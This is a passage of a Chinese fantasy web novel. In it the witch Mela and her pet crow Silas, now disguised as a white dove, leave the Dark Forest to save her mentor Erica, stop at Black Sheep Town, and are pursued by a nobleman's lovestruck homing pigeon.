当梅拉让突然掉下来的书本绊了一跤后,她们不约而同地对视一眼, 开始感慨莱克斯要是还在就好了。 “也不知道莱克斯现在到哪了, 你说他顺利回到家了吗?” 塞拉斯恹恹地用勺子拨弄着盘子里的豆子, 这回是它和梅拉合力煮的豆子汤, 不仅糊了, 味道还特别的咸。 塞拉斯鼓起勇气吃了一口,就再也塞不下第二口了。 “应该吧,如果不出意外的话。”梅拉同样对着勺子里黑乎乎的豆子嫌弃地皱起了鼻子, 但为了不浪费食物, 她还是闭眼把豆子快速塞入嘴里,胡乱嚼两下就咽了下去。 虽然这么做不能让味道变得好一点,但起码能减少忍受折磨的时间。 “唉!”塞拉斯重重地叹息了一声,旋即视死如归似的一口气将盘子里的豆子给吃完了。 这么做的结果就是塞拉斯整只鸟瘫在椅子上,感觉魂都快吐出来了,而收拾餐具的活只能交由梅拉来干。 好在有了这次的教训,塞拉斯深刻意识到了它和梅拉加在一起的效果只会让食物朝着更诡异的味道发展, 因此坚决不肯让梅拉再插手做饭了。 果然, 这样煮出来的食物尽管难吃了一点,但对身体的伤害几近于无。 “咦,这是什么东西?” 这一天,塞拉斯也惨遭从天而降的书本砸了个眼冒金星, 它晕晕乎乎地撞向了橱柜,就听见一阵乒乒乓乓的声音,各种东西像下雨一样砸到塞拉斯脚边,包括一个小小的布袋子。 塞拉斯歪坐在地上,盯着这个布袋子看了半天,鬼使神差地用爪子把它勾过来,打开绳结一看,里头竟然只装了一粒玫红色的种子,上头还开出了两片小小的芽叶。 这是什么种子? 它好像从没见过。 难道是梅拉之前特意收集到袋子里的? 不过,它竟然发芽了,对梅拉来说应该是件好事吧。 想到这,塞拉斯立刻使劲晃了晃脑袋,让自己精神过来,捏着种子就往屋后跑,嘴里还高喊着:“梅拉,梅拉!” 梅拉正在给小木屋后排成一排的花盆浇水,时不时还要蹲下来,仔细检查种子们的发育情况。 这时候听到塞拉斯的鬼喊鬼叫,她奇怪地扭头,就见塞拉斯跟捧着个宝贝似的捧了一粒种子到她面前。 “梅拉,你怎么能把好好的一粒种子放在布袋子里呢?你看它都发芽了,要不是我刚才恰巧发现了它,说不定它就要活活在布袋子里闷死了。”塞拉斯难得能对梅拉用上说教的语气。 只不过见梅拉怔怔地盯着它手里的那粒种子,塞拉斯的声音不自觉地越来越低,总有种心虚的感觉冒出来。 它应该没做错吧? 难道梅拉是故意把这粒种子放在布袋子里的? “塞拉斯,你说这粒种子是从布袋子里发现的对吗?”梅拉开口问道,声音有些艰涩。 “对、对啊?”塞拉斯结结巴巴地答道。 “谢谢你塞拉斯,你真是帮了我一个大忙。”梅拉捞起塞拉斯亲了一口,把水壶往它怀里一塞,就匆匆忙忙地往屋子里跑。 不明所以地抱着水壶的塞拉斯:“?” 不管怎么说,梅拉好久没亲它了,嘿嘿。 另一头,梅拉捧下水晶球,坐到了椅子上。 水晶球被平稳地置于她的膝盖上,里头的灰絮也随着她的动作渐渐演化为一阵迷幻的烟雾。 梅拉专注地解读着水晶球给她的信息,“……危险……东南方……” “危险?什么危险?”塞拉斯刚踏入屋子,就听见梅拉在说什么危险,惊得它眼睛都瞪圆了。 “不是我们有危险。”意识到塞拉斯误会了,梅拉好笑地摇了摇头,接着拿过它仍旧紧紧捏着的那粒种子,脸上的表情转而变得复杂起来。 这粒种子是艾莉卡当初离开前,亲手交到梅拉手上的。 * “你要走了吗?”梅拉珍惜地接过种子,生怕把它弄丢了,于是小心翼翼地装入了随身带着的一个小布袋子里。 “是啊,我只是因为受了伤才不得不留在这座山上,现在伤好了,我当然要回去了。”艾莉卡抚了抚鬓边的碎发,好笑地看了梅拉一眼,“难道你喜欢待在这种要吃没吃、要喝没喝的鬼地方吗?” 艾莉卡每每嚼着酸涩的果子,睡在呼呼漏风的山洞里,都无比怀念自己那栋布置得处处合心意的小屋子。 她巴不得快点养好伤离开。 如果不是因为偶然遇到了梅拉,看在她不仅聪明还有当一个女巫的天份上,艾莉卡说不定腹部上的伤口刚刚结痂就打算走了。 现在么,艾莉卡拖拖拉拉到伤口上的痂都脱落了,她也就没有了继续留下来的理由。 毕竟梅拉长大的那个小镇是不会欢迎她的。 她身为女巫也不可能冒着暴露的风险长久地生活在一群普通人之中。 想到这,艾莉卡看向梅拉,“你要不要和我一起走?虽然我的屋子不大,但收留你一个小姑娘还是没问题的。” “不要。”梅拉拒绝得十分干脆。 她有父亲,还有朋友苏珊,和好不容易同苏珊一起养大的小羊,为什么要跟着艾莉卡随随便便离开白松镇。 “哼。”艾莉卡哼笑一声,为梅拉此刻的天真而感到不屑一顾。 “女巫是不可能混迹在普通人之中的,你没发现吗?自己生来就与众不同。” 梅拉歪了歪脑袋,她是比镇上的那些笨蛋聪明得多,也不喜欢和他们一起玩耍,但这并不代表她觉得自己哪里像艾莉卡所说的与众不同了。 难道非要和笨蛋凑堆才算融入人群吗? “很遗憾,是的,如果你不和这些蠢货聚到一起谈论收成、谈论亲戚和邻居的八卦、谈论哪家的母牛生了两头小牛犊之类无聊的话题的话,你就会被视作异类。” 艾莉卡像是看穿了梅拉所想,又好像是在诉说她曾经的经历。 “聪明、睿智、专注、投入,这些都是女巫身上不可或缺的好品质。但对于普通人来说,一个女人太聪明,意味着她难以受到欺骗;太睿智,则不好欺负;过于专注某个神秘的领域,看起来就像个神神叨叨的疯子;而大多数女巫都没法当一个好妻子、好母亲,因为她们绝不会将自己的精力投入到男人和孩子,以及家庭的琐事上。” “总之除了少数人,比如受到过我们的帮助,或是有求于我们的人之外,大多数人对我们的存在都是排斥的。” “难道你没感受到吗?你总是独来独往,鲜少交到朋友,时不时还会遇到别人无来由的恶意。”艾莉卡意有所指地道。 “我又不在乎。”梅拉无所谓地道。 “以前我们对普通人也是这种态度。但谁让屁股坐在王座上的那个人,努伦格尔的国王看我们不顺眼,非要联合教会把我们逼到深山老林之中独居呢?” 提到国王和教会,艾莉卡的嘴角勾起轻蔑的弧度,眼底更是涌动着梅拉看不懂的晦暗的光。 “你知道的吧?一旦你成为了女巫这件事被暴露出去,那些看着你长大的人也会毫不犹豫地对你举起镰刀和火把。” 艾莉卡敛起眼底的情绪,又换回了平常漫不经心的姿态,闲闲地看向个头才到自己腰间的小姑娘。 “我会瞒好这件事的。”梅拉还是倔强地道。 她不是艾莉卡,没有经历过她口中所说的那些事情,也不像她一样毫无牵挂。 一开始,梅拉在意识到艾莉卡是名女巫后,只想缠着她得到更多有关草药的知识,在这方面,女巫们显然开辟出了一条全新的道路,也令梅拉求知若渴。 而不经意间成为女巫,只是顺带的一件事。 梅拉并不为此感到惶恐,也不觉得自己要像传统的女巫一样非得离群索居不可。 毕竟艾莉卡说过,一般来说,女巫生下的孩子天然就是女巫,像她这样后天靠着惊人的天赋,以及侥幸碰到了她才成为女巫的存在,在整个女巫群体之中的数量屈指可数。 因此梅拉深信,即使她看起来孤僻了一点,特立独行了一点,也绝不会被镇上的人们怀疑是女巫的。 他们可是亲眼看着她长大的。 她就是个难搞的,被父亲宠坏了的女孩罢了。 更何况,梅拉作为威普多唯一的继承人,以后还得继续顶着格荷拉克的姓氏留在白松镇,作为医士救治病人们。 她绝不可能就这样甩甩手,轻易地一走了之。 “好吧好吧,随便你,以后有你哭的时候。”艾莉卡轻嗤一声,懒得再劝。 “我给你的那粒种子你记得好好收起来,它可是我花了整整十年的时间才培育出来的生命之种。”艾莉卡嘱咐道。 “生命之种?那是什么?听起来挺厉害的样子。”梅拉不解。 “非要说的话,它就和我的孩子差不多。以后不论我在哪里,你都能通过它身上与我相连的血缘找到我的位置。到时候,你如果想请我帮忙,我也就勉为其难地答应一下吧。”艾莉卡道。 “……臭神气,说不定以后是你需要我帮忙才对。”梅拉觉得自己以后只会成为比艾莉卡更厉害的女巫,才不需要她的帮忙。 艾莉卡哈哈笑了两声,胡乱揉了揉梅拉的脑袋,趁着梅拉还没来得及发火,立刻转身走了。 梅拉望着她远去的背影,轻轻道了声再见。 后来梅拉真的成为了一名厉害的女巫,还特意研究过这粒生命之种为何从未发过芽,直到她在某位女巫的手札上看见,生命之种发芽是母体开始衰落的象征,它要在母体彻底死亡之前汲取够充足的营养,为自己之后的生长做准备。 * 如今,塞拉斯无意间发现生命之种发芽,意味着艾莉卡的生命受到了威胁。 梅拉一面懊悔自己将生命之种放置起来差点错过了这重要的消息,一面对塞拉斯道,“塞拉斯,我要离开黑暗森林一趟,你要和我一起走吗?” “离开?为什么要离开?”塞拉斯不明白。 如果梅拉打算离开,当初为什么不跟着莱克斯一起走呢?他们还能继续作伴。 “因为我要去救一个对我来说很重要的人。”梅拉道。 尽管她和艾莉卡相处的时间不过短短几个月,但如果没有艾莉卡最初的指引,就没有如今的女巫梅拉。 所以,现在艾莉卡出事了,梅拉必须得去救她。 “好吧,那塞拉斯当然要跟你一起走。”塞拉斯似懂非懂地点头。 它可是梅拉唯一的宠物,和会离开的莱克斯可不一样,不管梅拉去做什么,它都会永远陪伴在梅拉的身边。 “好,那我们这就收拾东西。不过,塞拉斯,你大概得换副样子才行。”梅拉盯着塞拉斯,若有所思地道。 否则明晃晃地带着一只乌鸦在人前招摇,和大声宣布自己就是女巫有什么区别。 “你想变成什么样?麻雀?画眉?还是百灵鸟?” 看着逐渐靠近自己的梅拉,塞拉斯忍不住往后退,甚至想大喊一声:你不要过来啊! 它既不想当麻雀,也不想当什么画眉、百灵鸟,它就想当只可爱的乌鸦。 可为什么人们总是要对乌鸦有偏见呢? 第54章 第 54 章 [前往黑绵羊镇] 塞拉斯最终还是妥协了。 只不过, 它强烈要求梅拉将自己变成一只白鸽。 看在百合小姐的份上,塞拉斯也就勉为其难地接受暂时扮演一只鸽子吧。 “喏。”梅拉没有意见,递给塞拉斯一瓶变形药剂,“喝下药水的同时, 你想着百合小姐的样子, 就能变成和它差不多的模样了。” 塞拉斯听了,拔开瓶口上的木塞, 咕嘟咕嘟一口气干了一整瓶药水。 等它回过神来, 身体果然大变样了。 塞拉斯新奇地抬起翅膀, 欣赏上头洁白如雪般的羽毛, 哎呀, 即使换了种颜色,也还是一如既往的美丽。 塞拉斯终于满意了。 “好了塞拉斯,别臭美了, 我们该走了。”梅拉先一步走向门口。 塞拉斯连忙扇动翅膀, 飞到了梅拉的肩膀上。 白鸽的体型比乌鸦小了近一倍,如今塞拉斯即使站在梅拉的肩头,也不会遭到梅拉嫌弃它太重。 从这一点来看,变成如今这副模样对塞拉斯也不是没有好处的。 而近距离地打量梅拉喝了变形药剂后,变换出来的这张十足陌生的脸孔,让塞拉斯更加感叹神奇,她们顶着全然改变后的样子走出去, 想必就算是撞见了莱克斯, 他也不一定能认得出来吧。 不过。 “我们就这么两手空空地走吗?”塞拉斯疑惑地问。 它好像也没看出来梅拉收拾了什么东西? “怎么能说是两手空空呢?” 梅拉弹了弹挂在腰间的小袋子,里头的钱币晃动,传来一阵丁零当啷的清脆碰撞声,“我这不是带着满满一袋子的钱吗?” 她们是去救人, 不是搬家,没必要背个大包袱出门。累赘不说,也麻烦得很,还招人眼。 本来好好地走在路上,没人会在意她们,但若是梅拉的背上背着个大包袱,是个人都要好奇地多看她们两眼。 更何况,如果计划一切顺利,她们一来一回甚至用不了半个月。 缺什么路上再买就行了。 原来如此。经过梅拉这么一解释,塞拉斯放心了,迫不及待地喊道:“那我们快出发吧!” 梅拉:……总感觉塞拉斯好像太轻松了一点,仿佛把这当成了一场时间有点长的出门玩耍。 算了,这确实是十多年来塞拉斯第一次离开黑暗森林,她就不纠正它了。 根据水晶球的指引,梅拉带着塞拉斯一路朝着东南方向前进。 扒开灌木丛,走到尘土飞扬的小道上,渐渐的,整座黑暗森林被她们甩到了脑后。 等到太阳正好挂到了梅拉头顶上,她们远远地看见了一座繁华的小镇,黑绵羊镇。 曾经这里也只是一个小村子,但自从第一个人开始将野生的黑绵羊带回家畜养,村子就渐渐繁荣了起来。 从黑绵羊身上刮下来的羊毛,能够轻松编织成一件既漂亮又保暖的衣服。而黑绵羊产出的上等羊毛,也比普通的白绵羊高了足足两倍,可以说养一只黑绵羊,顶得上养两只白绵羊。 因此破败的木屋被推倒,坚固的石头屋子建了起来,这里也正式成为了黑绵羊镇。而除了税务官外,领主还额外派了一名骑士带着他的扈从们在这里驻守。 黑绵羊镇上竟然有一名骑士? 躲在树后听到这一消息的梅拉挑了挑眉,没想到一开始情况就比她原先所想的要麻烦许多。 一般来说,骑士只会驻守在领地中较为富裕的几个地方,替领主看好他的钱袋子,而这种地方通常又紧挨在一起,对领主的庄园形成一个圆圈似的守卫。 总之不会是在黑绵羊镇这样靠近领地边缘的地方。 因此梅拉以为黑绵羊镇应该是这一路最好进入的一处才对,没想到直接撞上了意外。 如果有骑士在的话,梅拉不得不推翻先前的考虑,最好带着塞拉斯明天就离开这里最好。 不远处的两名商人还在抱怨最近税务官抽税越来越狠了,再加上另外给骑士大人的供奉,最后到手里的钱比以前可少多了。再这么下去,明年或许他们就不来黑绵羊镇做买卖了。 不过,他们很快道别,带着一马车的货物奔向了不同的方向。 接下来,又有几个年轻的姑娘经过这条路,雀跃地聊着一些在塞拉斯听起来十分无聊的事情。 “梅拉,我们怎么还不进到镇子里?”塞拉斯奇怪地看着梅拉一直躲在树后,时不时露出沉思的表情,只好小声地问道。 “第一,因为我在通过听他们的交流学习他们的口音。” 梅拉竖起一根食指,在塞拉斯眼前晃了晃。 “第二,我在等天黑。” 塞拉斯显然不明白,需要梅拉进一步的解释。 “塞拉斯,你知道王国禁止平民随意离开家乡,前往另一个领地吧?” “当然。”塞拉斯点头,一旦有平民被发现出现在了另一个领地内,他就会被当成奴隶投入领主的庄园之中,不停地干最苦最累的活,直到活活累死。 这也是为了保护领主们的利益。 毕竟多个领地之间,有富得流油的领地,就有穷得可怜的领地,假如大家都向往富得流油的领地,那其它领地的领主该怎么办? 他们领地内的耕种和生产谁来负责? 他们奢靡的生活谁来负担? 他们每年要缴纳给国王的税金如何而来? 在如此严苛的律令之下,至少表面上,任何领地内的人口都不再无端地大量减少。 “那你知道他们是如何分辨一个人是否是其它领地的人吗?”梅拉笑眯眯地继续问道。 “唔……”塞拉斯思考了一会儿,如果是鸟的话,不同种族的鸟长得都不一样,从外表上很容易就能区分,但人类在它眼里长得都差不多,所以这个办法肯定行不通。 那,塞拉斯想到梅拉刚才说的话,试探性地道,“……也许是,口音?” “没错,塞拉斯,你难道没有觉得同一句话从我嘴里说出来,和从莱克斯嘴里说出来听起来好像不太一样吗?”梅拉循循善诱道。 塞拉斯回忆了一下,好像……是有点不同?所以这就是所谓的口音吗? 这么一想,难怪没人能轻易离开原先的领地,他一张嘴不就露馅了吗。 “可是,”塞拉斯歪了歪脑袋,想到了另一个问题,“这么短的时间里想要改变口音应该很难吧?我们为什么不干脆假扮成商人呢?” 商人们是得到了特殊允许,可以随意游走在各个领地的一群人。 毕竟他们不需要耕种土地,只需要通过将一个地方的东西运到另一个地方进行交易,就有源源不断的钱主动跳进了他们的口袋里。 “因为我们没有商会的证明啊。”梅拉理所当然地道。 这样的办法难道以前没有人想过吗? 当然有了。 因此为了防止有人钻漏洞,国王特地下令成立了商会,只有经过商会的认可,你才能作为一个商人顺畅无阻地前往各个地方完成一笔又一笔的买卖。 而梅拉若是以商人的身份进入黑绵羊镇,首先就得到镇子里的商会缴纳一笔保证金。 如果离开黑绵羊镇时她没有带走任何货物,这笔保证金就会被商会扣留,作为另一种形式的“生意”而存在。 商人也不是好当的,否则大家都当商人去了,谁还苦哈哈地种地呢。 梅拉摊手,“而我既不想交这笔钱,也暂时没办法弄到商会的证明,所以只能走更难的那条路了。” 那就是伪装成附近村子里的人,假装到黑绵羊镇上投奔亲戚。 所以梅拉才要守在这条离开镇子的必经之路上,从过往的人嘴里尽可能地学习他们的口音。 起码不要让人一听就察觉出不对劲。 好在这对梅拉来说算不上特别困难,毕竟相比于女巫要钻研的那些东西来说,这只需要稍微动动脑,记住听到的每个单词的发音,然后再将它们打散,组合成相应的句子就是了。 “原来这就是我们非得在这等到天黑的原因。”塞拉斯懂了,要给梅拉留下学习的时间嘛。 “除了这个原因之外,也是因为我打算尽可能减少暴露这张脸。”梅拉道。 为了以防万一,她还带了两小支变形药剂在身上。一旦有无法处理的冲突,或是必须面对一大群人的追捕,喝下变形药剂迅速变成另一个人显然能保证她更加顺利地逃出来。 只不过,梅拉只有一次做决定的机会,因为另一支变形药剂是她给艾莉卡准备的。 想到艾莉卡,梅拉下意识地去摸布袋子里的一小粒鼓起,那是她特意带出来的生命之种,也不知道艾莉卡现在的情况有没有变得更坏。 希望不要。 * 眼看着天色渐沉,夜幕笼罩了这座白日里无比热闹的小镇,梅拉带着塞拉斯,大摇大摆地走进了黑山羊镇。 她低着头,让散落的头发挡住了大半张脸,同时不断用眼角的余光寻找酒馆的位置。 最好是那种狭小的,一看就廉价的小酒馆。 找到了。梅拉的脚步一顿,旋即调转脚尖的方向,朝着角落里的小酒馆走去。 摇摇欲坠的木牌子挂在大门上方,大概写着酒馆的名字,只不过在昏暗的灯光里看不分明,不过这也也不重要。 敞开的两扇木门后,煤油灯烧着鼎沸的人声,酒馆的生意竟然意外的火爆,或许也跟它提供劣质的麦芽酒有关,五枚铜币就能倒上满满一大壶。 酒液储存在木制的酒桶里,在酒提子上上下下之间涌动起小小的麦芽色浪花。 “我想要一个过夜的房间。” 人来人往的酒馆里,梅拉甫一出现就吸引了不少视线。 尽管她喝下了变形药剂,将自己想象成了另一个人的模样,换了一张普通许多的脸,但浑身的气质仍然像蕴着光采的珍珠一样难以掩藏。 更何况她那头漂亮的红发,看着就让人心痒痒。 虽然看起来有些乱糟糟的,但除了那些尊贵的夫人和小姐们,谁有空闲和精力将自己的头发打理得像绸缎一样光滑美丽,大部分人的头发都干枯得像个邋遢的草窝。 因此有一头漂亮头发的姑娘在哪里都引人注目。 只不过她的肩膀上带了个什么玩意儿?一只鸽子? 有人面面相觑,差点以为自己眼花了。 梅拉则镇定自若地顶着这些视线,来到了站在柜台后的侍者面前,提出要一个过夜的房间。 “一晚上七枚铜币。”侍者忙着在给其他客人倒酒,还要和他们扯皮为什么这个人多倒了一点那个人少倒了一点,压根没空搭理梅拉,只能趁两个客人争论的间隙快速地丢出一个价格。 “好。”梅拉爽快地掏出七枚铜币付了钱。 侍者随意地把这几枚铜币用手一扫,就让梅拉自己到二楼去挑个空的房间,“看到哪个房间没有人,你直接住进去就行。” 反正每个房间都一样简陋,只有一张一动就吱呀作响的老木床,没有哪个房间住着更舒服一说。 梅拉点点头,顺利地带着塞拉斯走上了二楼。 她挑了个靠里的空房间走了进去,顺便把门给关上了,还放下了木栓。 “呼,总算糊弄过去了。”这会儿房间里只有它和梅拉,忍了大半天的塞拉斯终于能开口说话了。 它简直憋得要命。 当梅拉踏入酒馆,塞拉斯便开始屏气凝神,不敢吱声,刚刚更是几乎战战兢兢地瞧着梅拉与侍者对话。 生怕对方再拉着梅拉闲聊几句,或是听出了梅拉话里的异样。 “怕什么,他忙着应付其他客人,没有额外的心思能够放在我的身上。”梅拉倒是从容得很,她自信刚才短短的两句话里绝不可能有任何地方出错。 反而觉得塞拉斯此时表现出来的慌张有些太过于大惊小怪了。 塞拉斯不好意思地用翅膀挠了挠头,“那也是梅拉你太厉害了,你刚才一开口,跟平时说话的感觉还真是不一样。” 不论是语气,还是音调,甚至是有些浓重的鼻音都和平常梅拉说话时大相径庭。 “这不算什么。”梅拉皱眉掀开床上明显没有清洗得十分干净的被子,还从上面嗅到了一股若有若无的霉味。 “好了塞拉斯,我们来睡觉吧,明天早上我还有任务需要交给你去办。” “什么任务?”塞拉斯好奇地问。 “明天你就知道了。”梅拉却故意卖了个关子。 她还拍着脏兮兮的枕头催促道,“快来,这是我留给你睡觉的位置。” 塞拉斯同样嫌弃地看着这张床,试图拒绝梅拉的好意,“不、不用了,我站着就能睡。” “那怎么行?”梅拉见塞拉斯一脸抗拒,直接伸手把它拽过来,和自己一起倒到枕头上,然后迅速把脸埋入塞拉斯的羽毛里,呼,那股霉味总算进不来了。 剩下塞拉斯欲哭无泪地被霉味萦绕,只能闭上眼疯狂催眠自己赶快睡着。 第55章 第 55 章 [突如其来的灰鸽,塞拉…… 第二天一早, 在侍者敲响房门,询问需不需要买一份早餐时,梅拉便要了两块面包和一杯羊奶,一共十枚铜币, 竟然比在这住一晚上还贵。 梅拉单手将盘子端进来, 率先拿起一块面包放到嘴边,一啃, 简直跟石头一样, 梆硬。 幸好她有先见之明, 多要了一杯羊奶, 这下只能先用羊奶将面包泡软, 否则就这么硬啃,或许一嘴牙都要硬生生给啃掉了。 只不过梅拉没有想到,直到她将属于自己的那块面包吃完, 又喝了大半杯羊奶, 塞拉斯竟然还没回来。 奇怪了,这和梅拉原本的设想不符,她走到窗前,往外看了一眼已经再度热闹起来的街道。 各式各样的摊子立在五颜六色的彩棚底下,不断有驾着马车的商人经过,然后在某个摊子前停下,熟练地与老板攀谈。 按理来说, 这会儿塞拉斯早就应该回来了才对。 是什么绊住了它? * 早上, 天刚蒙蒙亮的时候,梅拉就先一步醒来,顺带叫醒了塞拉斯。 “梅拉,我好困喔……”塞拉斯揉着眼睛, 睡眼惺忪地站起来,差点一个跟头又倒进枕头里。 “塞拉斯,快醒醒,我有事情要你去做。”梅拉只好用双手将塞拉斯捧起来。 “什么事?”听到梅拉要让自己去干活,塞拉斯顿时用力地甩了甩头,勉强清醒了过来。 “你去这镇子里所有的旅舍转一转,看看有没有今天打算离开黑绵羊镇的马车,记住了,一定是要那种载着货物的马车。” “载着货物的马车?”塞拉斯不解地重复了一遍。 它可以理解梅拉想要坐马车,毕竟她们接下来不可能再靠两条腿赶路,否则等梅拉赶到艾莉卡所在之处,说不定艾莉卡的尸体都凉透了。 塞拉斯不理解的是梅拉为什么要找载着货物的马车。 难道。 “你想抢了某个商人的货物和商会证明,然后伪装成他的身份,正大光明地赶路?” “……塞拉斯,你是不是把我想的有点太坏了。”梅拉无言片刻,她是女巫,不是强盗。如非必要,不会去干这种抢劫的事情。 梅拉只是想找个小商人,用钱收买他带她们一起赶路而已。 对于那种只有一辆马车的小商人来说,即使一年到头不断地运送货物在两地之间往返,赚的也都是辛苦钱,因此只要梅拉出的价格够高,想必他一定不会拒绝在离开时多带一个人走。 况且对方只有一个人的话,梅拉想要对他做点什么都比较方便。 “……你还说自己不想当坏蛋。”塞拉斯小声嘟囔道。 听听,这不都时刻准备着对人家下手了吗? “……”梅拉笑眯眯地盯着塞拉斯,“我如果是坏蛋,你就是助纣为虐的坏蛋宠物。” “好了别浪费时间了,我们最好今天中午之前就离开这里。”梅拉站起来,走到窗前支开窗子,供塞拉斯飞出去。 塞拉斯如今这幅模样是真的方便,一只鸽子在城镇上头盘旋一点也不引人注目,比梅拉亲自出门四处打探要好得多。 “可我怎么知道哪些马车是今天打算离开的呢?” 塞拉斯刚飞出去没一会儿,又辗转回来。 “简单,那些早早准备离开的马车,会放到第一批进行喂食。” 所以梅拉才要早早地让塞拉斯出门查看情况,一般用完早餐后,这一批早已准备离开的商人就会陆陆续续地驾着马车往外驶去。 她们要是动作慢一步,或许就该赶不上了。 塞拉斯懂了,同时心底不免涌上了一股紧迫感,顾不上再和梅拉闲聊几句,就头也不回地重新飞了出去。 嗯,看着塞拉斯这副干劲十足的模样,梅拉慢悠悠地走回了床边。 没办法,这抠搜的酒馆真的连一把多余的椅子都不给,如果不想一直站着,只能坐回床上。 * “咚咚咚。” 隔着大半条走廊,敲门声却准确无误地送入了梅拉所在的房间。 梅拉甚至能听到侍者隔着门在问客人需不需要买一份早餐。 其中有发酸的黑麦面包,有没掺麸皮的面包,刚挤出来的羊奶,以及一碗黏糊糊的豆子汤可供选择。 听起来都不怎么好吃。 所以梅拉只要了两块没掺麸皮的面包和一杯羊奶,能填饱肚子就行。 这会儿梅拉将最后一口面包咽进肚子里,盘子里纹丝不动的另一块则是她专门为塞拉斯留下来的。 只是也不知道塞拉斯什么时候才回来。 梅拉走到窗前,试图寻找有没有类似塞拉斯的小黑点。 结果就看到塞拉斯猛地从窗外扎进来,嘴里不住地喊着:“快关窗!快关窗!” 关窗? 梅拉反应的速度慢了一步,接着第二团灰灰的东西也从窗外飞了进来。 她定睛一看,顿时惊讶不已,这竟是一只灰色的鸽子。 从它比塞拉斯变化后的体型还要大上一些来看,这无疑是只公鸽子。 但这不是令梅拉惊讶的地方,梅拉惊讶的是它的脚上绑着小小的信筒,这还是只受过训练的信鸽。 “呃……”梅拉组织了一下措辞,看向塞拉斯,“你怎么把人家专门培养出来的信鸽给拐回来了?” “谁说是我拐的,明明是它莫名其妙追着我跑好不好。”塞拉斯欲哭无泪地道。 回到事情的最初,塞拉斯也不知道怎么回事,它明明只是按照梅拉的吩咐前往镇上的旅舍,落到附近的树枝上,借着居高临下的优势将马厩里的情况看得一清二楚。 结果就在它专心记忆的时候,一只灰色的鸽子从天而降,落到了树枝的另一侧。 塞拉斯本来是懒得理会它的,结果就看到这只灰鸽子越挨越近,甚至张开了翅膀——塞拉斯怒了,谁还没有一双漂亮的翅膀了?它的羽毛洁白如雪,这只灰鸽子却浑身灰扑扑的,怎么好意思拿来它面前显摆? 塞拉斯于是同样张开翅膀,在这只灰鸽子面前飞起来,借机展示它优美的身姿和漂亮的羽毛。 不过它也没有忘了梅拉交代的正事,小小地炫耀了一下,就收起展示的心思继续前往下一家旅舍了。 没想到这只灰鸽子像疯了一样一直追着塞拉斯跑,塞拉斯飞到哪,它也跟着飞到哪。 “你跟着我干什么?走开!”塞拉斯挥舞翅膀试图驱逐它。 然而它歪了歪脑袋,似乎在努力分辨塞拉斯口中发出的声音是什么意思。 下一刻,它就无视了塞拉斯的怒火,继续试探着接近塞拉斯,把塞拉斯差点气得倒仰。 好在这时候,塞拉斯已经把黑绵羊镇仅有的三间旅舍飞了个遍,它立刻加快速度往梅拉入住的酒馆冲,试图甩开这只烦乌鸦的灰鸽子。 至于结果么。 梅拉将留给塞拉斯的面包一分为二,一半招待了“客人”,一半递给了塞拉斯。 塞拉斯接过面包,盯着灰鸽,恶狠狠地往面包上咬了一口,仿佛这样就能震慑住它似的。 可惜灰鸽不懂看塞拉斯的脸色,只知道用喙推着梅拉分给它的面包,推到塞拉斯面前,还咕咕叫了两声,似乎是在让塞拉斯吃。 “谁要吃你碰过的面包,拿开!”塞拉斯的反应异常激烈。 梅拉头疼地扶额,喊它的名字,“塞拉斯,你友好一点,它只是一只暂时被你的外表欺骗了,以为你是只漂亮母鸽子的可怜小灰鸽而已。” 没错,听完事情的全部经过,梅拉就意识到这只灰鸽子为什么追着塞拉斯了。 原因无他,纯粹是把塞拉斯当母鸽子追求了。 想想看吧,当初塞拉斯有多为百合小姐着迷。 这只灰鸽子就有多为塞拉斯着迷。 毕竟塞拉斯是想象着百合小姐的样子变化出来的模样,会把一只公鸽子迷得找不着北也很正常吧? “它哪里可怜了?莫名其妙被它缠上,我才可怜呢!”塞拉斯听了梅拉的话,立刻炸了。 愤怒中还带着一丝委屈。 它没想到梅拉竟然不站在它这一边,还同情那只笨灰鸽。 一时间,塞拉斯看着灰鸽摆出的无辜姿态更恼火了。 “我们快把它送走吧,别让它耽误了我们赶路。” 话是这么说没错,梅拉也确实打算把这只灰鸽送回它的主人那去,不管怎么说,都是塞拉斯把人家的鸽子带走的,她作为主人,得帮塞拉斯善后才能毫无负担地离开。 但是,也不知道灰鸽的主人还在不在黑绵羊镇,如果他已经离开,梅拉注定要浪费不少时间在找人这件事上。 另一头,黑绵羊镇最大的旅舍内,一位神色匆匆的中年男人敲开了一扇房门。 摆设尚算齐全的房间里,年轻的少年坐在高背椅上,身上穿着一看就价值不菲的衣服,显然来历不凡。 此刻他正双手环胸,见到男人两手空空地进来,脸上的不耐烦更甚,“卢尼,我的鸽子找到了吗?” “克伦少爷,我已经让人在旅舍附近找了一圈,并没有看见您的鸽子。” 想到接下来要说的话,卢尼忍不住低下头,弯着身子,不敢与克伦对视。 “但是,我不得不提醒您一句,我们该启程了。按照之前的计划,我们得在三天后赶到金橡城,将这批货物送到埃布纳主教的手中,没时间再为一只鸽子耽搁下去了。” “可我的鸽子是我从小训练出来的信鸽,绝不会随意离开我,它一定是被人给捉住了,正等着我去救它。”克伦烦躁地站起来。 鞋跟不停地敲打着地面,他也不停地在卢尼面前走来走去。 卢尼看着眼皮子底下,左右来回踱步的鞋跟,不禁嘴里泛苦,没想到本来板上钉钉的行程,竟然因为一只鸽子给耽误了。 可他也不敢真的强硬地与克伦对着干,只能祈祷克伦养的那只信鸽快点飞回来,而他们还能顺利地在三天后赶到金橡城。 哎,真是令人头大!怎么偏偏出了这样的事? 第56章 第 56 章 [将灰鸽送回] 尽管梅拉打定了主意要将灰鸽送回去, 但怎么送却是个问题。 她压根不知道灰鸽的主人是谁。 “如果水晶球在手边就好了。” 这样梅拉就能直接进行一场占卜,让水晶球告诉她有关灰鸽主人的信息,或是去哪能遇见她想见的人。 而现在么,梅拉只能让塞拉斯带着她回到遇见灰鸽的地方, 试图碰碰运气。 说不定两方人就正好撞上了呢? “要是撞不上怎么办?”塞拉斯提出了一个最坏的可能。 梅拉摊手, “那就只能带着它满镇子转一圈,继续碰运气了。如果这样都没能找到它的主人, 也就只好让它先跟着我们走了。” 梅拉能浪费的时间不多。 总不能真的为了一只灰鸽停下脚步。 而且, 她看了看贼心不死, 又在试图靠近塞拉斯, 还想要用喙温柔地给塞拉斯梳理羽毛的灰鸽, 笑出了声,“它这不是挺喜欢你的吗?说不定你们相处久了还能成为朋友呢。” “啊啊啊!救命啊!” 塞拉斯刚才光顾着和梅拉说话,下意识地放松了警惕, 结果就让灰鸽偷到了空。 感受到陌生的尖锐触碰到自己的羽毛, 塞拉斯陡然而生一股毛骨悚然的感觉,吓得大叫着一头扎入梅拉的怀中。 它抱着梅拉的胳膊,仿佛正抱着世上最后一根救命稻草。 